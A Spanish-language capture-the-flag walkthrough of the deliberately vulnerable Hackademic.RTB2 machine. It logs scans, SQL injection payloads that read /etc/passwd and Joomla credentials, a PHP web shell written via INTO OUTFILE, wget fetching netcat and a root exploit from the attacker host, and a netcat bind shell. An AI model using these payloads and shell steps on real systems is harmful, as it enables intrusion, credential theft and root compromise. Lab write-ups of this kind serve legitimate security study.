Solucionario Hackademic.RTB2 by @nonroot (Spoiler - NO LEER sin intentarlo antes!!!)
Este solucionario esta sin editar, trataré de explicar la forma en la que pensé para solucionar las diferentes etapas, si encuentra errores... omitalos ;)
By @nonroot
Nota: si alguien quiere comentar, agregarle texto a la solución o agregar soluciones diferentes, es bienvenido.
Objetivo: Conseguir el archivo key.txt
Info preliminar:
1. Es una maquina vulnerable
2. Es un Linux Ubuntu
Podemos usar el comando fping para encontrar las maquinas disponibles en la red.
fping -a -g 192.168.0.0/24
Luego Escaneamos la maquina vulnerable:
root@bt:~# nmap -O 192.168.0.160
Starting Nmap 5.51 ( http://nmap.org ) at 2011-11-27 21:19 COT Nmap scan report for 192.168.0.160 Host is up (0.00048s latency). Not shown: 998 closed ports PORT STATE SERVICE 80/tcp open http 666/tcp filtered doom MAC Address: 00:0C:29:74:B5:21 (VMware) Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.17 - 2.6.35 Network Distance: 1 hop
Aqui observamos dos puertos abiertos, asumo que entre estos dos puertos esta el reto, uno de ellos esta filtrado.
Llegamos al sitio web que nos pide autenticación.
INFO: Apache/2.2.14 (Ubuntu) Server at 192.168.0.160 Port 80
INFO: El password no usa los asteriscos, puede ser una pista de que por ahí es,esto puede ser por algo.
Haciendo pruebas con diferentes usuarios no funciona: admin, musa, deber, hackerdemic, rtb2
INFO: El script se ejecuta sin ponerle la extension http://192.168.0.160/check
Escaneamos con nikto para buscar cosas de interés.
root@bt:/pentest/web/nikto# perl nikto.pl -h 192.168.0.160 - Nikto v2.1.4 --------------------------------------------------------------------------- + Target IP: 192.168.0.160 + Target Hostname: 192.168.0.160 + Target Port: 80 + Start Time: 2011-11-28 21:43:30 --------------------------------------------------------------------------- + Server: Apache/2.2.14 (Ubuntu) + Retrieved x-powered-by header: PHP/5.3.2-1ubuntu4.7 + Apache/2.2.14 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are alsocurrent. + DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details. + OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + OSVDB-3092: /phpmyadmin/: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts. + OSVDB-3268: /icons/: Directory indexing found. + OSVDB-3233: /icons/README: Apache default file found. + 6448 items checked: 0 error(s) and 7 item(s) reported on remote host + End Time: 2011-11-28 21:43:50 (20 seconds) --------------------------------------------------------------------------- + 1 host(s) tested root@bt:/pentest/web/nikto# INFO: http://www.0php.com/php_easter_egg.php
VECTOR DE ATAQUE 1:
Buscar una versión vulnerable de phpmyadmin
TEST: http://www.exploit-db.com/exploits/17514/ TEST2: http://www.exploit-db.com/exploits/17510/
INFO: El directorio /phpmyadmin/setup existe pero esta protegido por una autenticación básica INFO: posible versión de phpmyadmin http://192.168.0.160/phpmyadmin/Documentation.html
Hay un exploit que puede trabajar para la versión, pero requiere la cookie que se extrae al ingresar a /setup/, por lo que es posible que sea necesario hacer bruteforce a /setup/
Intentemos hacer un bruteforce para /setup/ ...
Como conclusión, los exploits para phpmyadmin no me funcionan, puede ser porque la ruta base de phpmyadmin no tiene el directorio config y porque /setup/ tiene contraseña.
VECTOR 2 : Estudiar el tráfico con la página principal
Al parecer el parámetro password es inyectable (sqlmap):
sqlmap identified the following injection points with a total of 2224 HTTP(s) requests:
---
Place: POST
Parameter: password
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: POSTDATA=username=usuario&password=password")) AND 6621=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers as sys2,sysusers as sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND (("lucH" LIKE "lucH&Submit=Check!
---
Sin embargo no sabemos exactamente cual es el backend. En teoría debería ser MySQL, pero sqlmap y otras herramientas dicen que es ORACLE o MSSQL.
[18:06:50] [CRITICAL] sqlmap was not able to fingerprint the back-end database management system. Support for this DBMS will be implemented at some point
Hago bruteforce con los ataques típicos de SQL injection y encuentro:
username=admin password= ' OR 1=1--'
encuentro esto:
%33%63%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%33%65%20%30%64%20%30%61%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%32%30%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%32%30%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%36%39%20%36%65%20%32%37%20%32%30%20%36%66%20%36%65%20%32%30%20%36%38%20%36%35%20%36%31%20%37%36%20%36%35%20%36%65%20%32%37%20%37%33%20%32%30%20%36%34%20%36%66%20%36%66%20%37%32%20%32%30%20%32%65%20%32%65%20%32%30%20%33%61%20%32%39%20%30%64%20%30%61%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%30%64%20%30%61%20%33%63%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%33%65%0A
En esta página : http://www.idea2ic.com/PlayWithJavascript/hexToAscii.html
Convertimos y obtenemos:
<---------> Knock Knock Knockin' on heaven's door .. :) 00110001 00110000 00110000 00110001 00111010 00110001 00110001 00110000 00110001 00111010 00110001 00110000 00110001 00110001 00111010 00110001 00110000 00110000 00110001 <--------->
La pista puede apuntar a un ejercicio de port knocking, por eso el puerto 666 esta bloqueado.
La pista apunta a una canción http://www.letras4u.com/guns_n_roses/knocking_on_heavens_door.htm
Con conversor de bin to ascci: http://www.roubaixinteractive.com/PlayGround/Binary_Conversion/Binary_To_Text.asp
1001:1101:1011:1001 ¹ 9:D:B:9
Y esto ya parecen ser numeros. Intento como claves o como puertos (knocking), pero nada.
Como es un sistema ubuntu buscamos info sobre el tema de por knocking y encontramos una guía oficial. Probemos con los ejemplos:
https://help.ubuntu.com/community/PortKnocking
Tampoco funciono
root@bt:~# knock -vu 192.168.0.160 7000 8000 9000 hitting udp 192.168.0.160:7000 hitting udp 192.168.0.160:8000 hitting udp 192.168.0.160:9000 root@bt:~# telnet 192.168.0.160 666 Trying 192.168.0.160... telnet: Unable to connect to remote host: Connection refused root@bt:~# knock -vu 192.168.0.160 7000 8000 9000 hitting udp 192.168.0.160:7000 hitting udp 192.168.0.160:8000 hitting udp 192.168.0.160:9000 root@bt:~# telnet 192.168.0.160 666 Trying 192.168.0.160... telnet: Unable to connect to remote host: Connection refused root@bt:~# knock -v 192.168.0.160 7000 8000 9000 hitting tcp 192.168.0.160:7000 hitting tcp 192.168.0.160:8000 hitting tcp 192.168.0.160:9000 root@bt:~# telnet 192.168.0.160 666 Trying 192.168.0.160... telnet: Unable to connect to remote host: Connection refused root@bt:~# knock -v 192.168.0.160 7000 8000 9000 hitting tcp 192.168.0.160:7000 hitting tcp 192.168.0.160:8000 hitting tcp 192.168.0.160:9000 root@bt:~# telnet 192.168.0.160 666 Trying 192.168.0.160... telnet: Unable to connect to remote host: Connection refused root@bt:~# knock -v 192.168.0.160 7000 8000 9000 hitting tcp 192.168.0.160:7000 hitting tcp 192.168.0.160:8000 hitting tcp 192.168.0.160:9000 root@bt:~# telnet 192.168.0.160 666 Trying 192.168.0.160... telnet: Unable to connect to remote host: Connection refused root@bt:~# knock -v 192.168.0.160 7000 8000 9000 hitting tcp 192.168.0.160:7000 hitting tcp 192.168.0.160:8000 hitting tcp 192.168.0.160:9000 root@bt:~#
Al no abrirlo intente "fuerza bruta": Si la secuencia de puertos va en un solo sentido, es posible abrirlos con un escaneo, funciona de igual forma bajando.
root@bt:~# nmap -sS 192.168.0.160 -p 1-65535 Starting Nmap 5.51 ( http://nmap.org ) at 2011-11-28 04:01 COT Nmap scan report for 192.168.0.160 Host is up (0.0017s latency). Not shown: 65533 closed ports PORT STATE SERVICE 80/tcp open http 666/tcp open doom MAC Address: 00:0C:29:74:B5:21 (VMware)
Al hacer telnet al puerto 666 parece ser un servicio web.
Encontramos un servicio joomla, cuando entramos al administrador:
I am sure that your not the real Administrator.
Please don't try to hack me ;-)
Escaneamos el joomla (vulns) y vemos:
# 19 Info -> CorePlugin: TinyMCE TinyBrowser addon multiple vulnerabilities Versions effected: Joomla! 1.5.12 Check: /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/ Exploit: While Joomla! team announced only File Upload vulnerability, in fact there are many. See: http://www.milw0rm.com/exploi Vulnerable? Yes
También que hay un componente vulnerable:
[+] Joomla ABC Extension com_abc SQL Injection Exploit --> http://www.exploit-db.com/exploits/12429
Ejecuto un exploit y compruebo:
root@bt:~# perl joomla.pl 192.168.0.160:666
[x]===============================================[x]
[x] ABC Joomla Extension SQL Injection Exploit [x]
[x] [C]oded By AntiSecurity [x]
[x]===============================================[x]
[+]
Administrator:08f43b7f40fb0d56f6a8fb0271ec4710:n9RMVci9nqTUog3GjVTNP7IuOrPayqAl:,: JSmith:992396d7fc19fd76393f359cb294e300:70NFLkBrApLamH9VNGjlViJLlJsB60KF:,: BTallor:abe1ae513c16f2a021329cc109071705:FdOrWkL8oMGl1Tju0aT7ReFsOwIMKliy
El bug esta aqui:
http://192.168.0.160:666/index.php?option=com_abc&view=abc&letter=AS§ionid=%27
Usamos sqlmap para extraer mas datos:
database management system users [109]: [*] 'debian-sys-maint'@'localhost' [*] 'phpmyadmin'@'localhost' [*] 'root'@'127.0.0.1' [*] 'root'@'HackademicRTB2' [*] 'root'@'localhost'
http://192.168.0.160:666/index.php?option=com_abc&view=abc&letter=AS§ionid=-null+union+select+1,group_concat%280x3a,load_file%28%22/etc/passwd%22%29%29--
database management system users password hashes:
[*] debian-sys-maint [1]:
password hash: *5D3C124406BF85494067182754131FF4DAB9C6C7
[*] phpmyadmin [1]:
password hash: *F36E6519B0B1D62AA2D5346EFAD66D1CAF248996
[*] root [3]:
password hash: *5D3C124406BF85494067182754131FF4DAB9C6C7
password hash: *5D3C124406BF85494067182754131FF4DAB9C6C7
password hash: *5D3C124406BF85494067182754131FF4DAB9C6C7
De esto nos interesa que que hay usuarios administradores en el sistema, necesitamos verificar quien tiene la propiedad de la BD que se usa en el joomla vuln.
./sqlmap.py -u "http://192.168.0.160:666/index.php?option=com_abc&view=abc&letter=AS§ionid=" -p letter --passwords
http://192.168.0.160:666/index.php?option=com_abc&view=abc&letter=AS§ionid=-null+union+select+1,group_concat%280x3a,load_file%28%22/var/www/configuration.php%22%29%29--
El archivo de configuración del joomla me dice que es el root, eso convierte al MySQL en un potencial punto de entrada como root.
: Please check back again soon.'; var $sitename = 'Hackademic.RTB2'; var $editor = 'tinymce'; var $list_limit = '20'; var $legacy = '0'; /* Debug Settings */ var $debug = '0'; var $debug_lang = '0'; /* Database Settings */ var $dbtype = 'mysql'; var $host = 'localhost'; var $user = 'root'; var $password = 'yUtJklM97W'; var $db = 'joomla'; var $dbprefix = 'jos_'; /* Server Settings */ var $live_site = ; var $secret = 'iFzlVUCg9BBPoUDU'; var $gzip = '0'; var $error_reporting = '-1'; var $helpurl = 'http://help.joomla.org'; var $xmlrpc_server = '0'; var $ftp_host = '127.0.0.1'; var $ftp_port = '21'; var $ftp_user = ; var $ftp_pass = ; var $ftp_root = ; var $ftp_enable = '0'; var $force_ssl = '0'; /* Locale Settings */ var $offset = '0'; var $offset_user = '0'; /* Mail Settings */ var $mailer = 'mail'; var $mailfrom = 'admin@hackademirtb2.com'; var $fromname = 'Hackademic.RTB2'; va
Entreo por el phpmyadmin descubierto con nikto:
Entro al phpmyadmin con las claves del archivo.
Ejecutamos esto dentro del phpmyadmin SELECT "<? $id = $_GET['id']; system($id) ?>" INTO OUTFILE '/var/www/cmd2.php'
Después de subir el shell puedo ejecutar comandos.
http://192.168.0.160:666/cmd2.php?id=ls%20-la
Como estoy en un backtrack (ubuntu) copio el binario nc y lo descargo a la maquina objetivo, antes verifico que exista el wget.
Luego hago una descarga con wget http://192.168.0.160:666/cmd2.php?id=wget%20192.168.0.150/nc%20nc
luego le pongo permisos al nc http://192.168.0.160:666/cmd2.php?id=chmod%20755%20nc
Luego abro el puerto 5000 http://192.168.0.160:666/cmd2.php?id=./nc -l -p 5000 -c /bin/bash&
Me conecto remotamente desde el backtrack:
root@bt:~# nc 192.168.0.160 5000 ls -la total 316 drwxrwxrwx 19 p0wnbox p0wnbox 4096 Dec 4 06:41 . drwxr-xr-x 16 root root 4096 Jan 17 2011 .. -rw-rw-rw- 1 root root 76539 Nov 3 2010 CHANGELOG.php -rw-rw-rw- 1 root root 1172 Jan 26 2010 COPYRIGHT.php -rw-rw-rw- 1 root root 14918 Nov 2 2010 CREDITS.php -rw-rw-rw- 1 root root 4344 Jan 26 2010 INSTALL.php -rw-rw-rw- 1 root root 17816 Jan 17 2009 LICENSE.php -rw-rw-rw- 1 root root 27986 Jan 26 2010 LICENSES.php -rwxrwxrwx 1 root root 21697 Jan 17 2011 Untitledt.png drwxrwxrwx 7 root root 4096 Nov 3 2010 _installation drwxrwxrwx 2 root root 4096 Jan 22 2011 administrator drwxrwxrwx 2 root root 4096 Nov 3 2010 cache -rw-rw-rw- 1 mysql mysql 37 Dec 4 06:39 cmd2.php
uname -a
y uso el siguiente exploit:
http://www.exploit-db.com/exploits/14814/
nc 192.168.0.160 5000 (wd: ~) wget 192.168.0.150/exploit.c
id uid=0(root) gid=0(root) id uid=0(root) gid=0(root) ls -l /root/ total 40 drwxr-xr-x 2 root root 4096 Jan 17 2011 Desktop -rwxr-xr-x 1 root root 33921 Jan 22 2011 Key.txt cat /root/Key.txt iVBORw0KGgoAAAANSUhEUgAAAvQAAAFYCAIAAACziP9JAAAACXBIWXMAAAsTAAALEwEAmpwYAAAg AElEQVR4nOy9eZhdVZXw/bu35iFVlXmgUiQhBAIJEGKMAQGDb1rpbj5EjYK8KIoy+SniIyC2Q4uC Nn5tOzI4dAvaKI2CLTgEWmYIGTCBQAbIUEkqVZWa5+lO3x/nXefdt4Y71D3DvbfW78nDk1C3zll3 n332XnuNoCiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiK oiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiK oiiKovhOwG8BlNynAM6AEYhCBGLQCd0Q8lswRVEUZUoS9FsAJfcphUIIQBAKICBajqIoiqL4gSo...
Observamos que es un BASE64.
base64 -d Key.txt > /var/www/imagen.png
en la imagen se ve: $_0rTHy2zf8._@
Supongo que ahí termina el reto.
Me quedan unas dudas:
Que queria decir la pista de los números?
El sistema era explotable remotamente sin entrar por web?
Porque no funcionó el portknocking con los puertos configurados? (cuando tenga tiempo verifico)
La clave que muestra la imagen final sirve para algo?
TO DO
Romper los HASHES de la base de datos MySQL
Romper los HASHES del sistema para el usuario root y el pwnuser
--Nonroot2 18:01, 6 December 2011 (CET)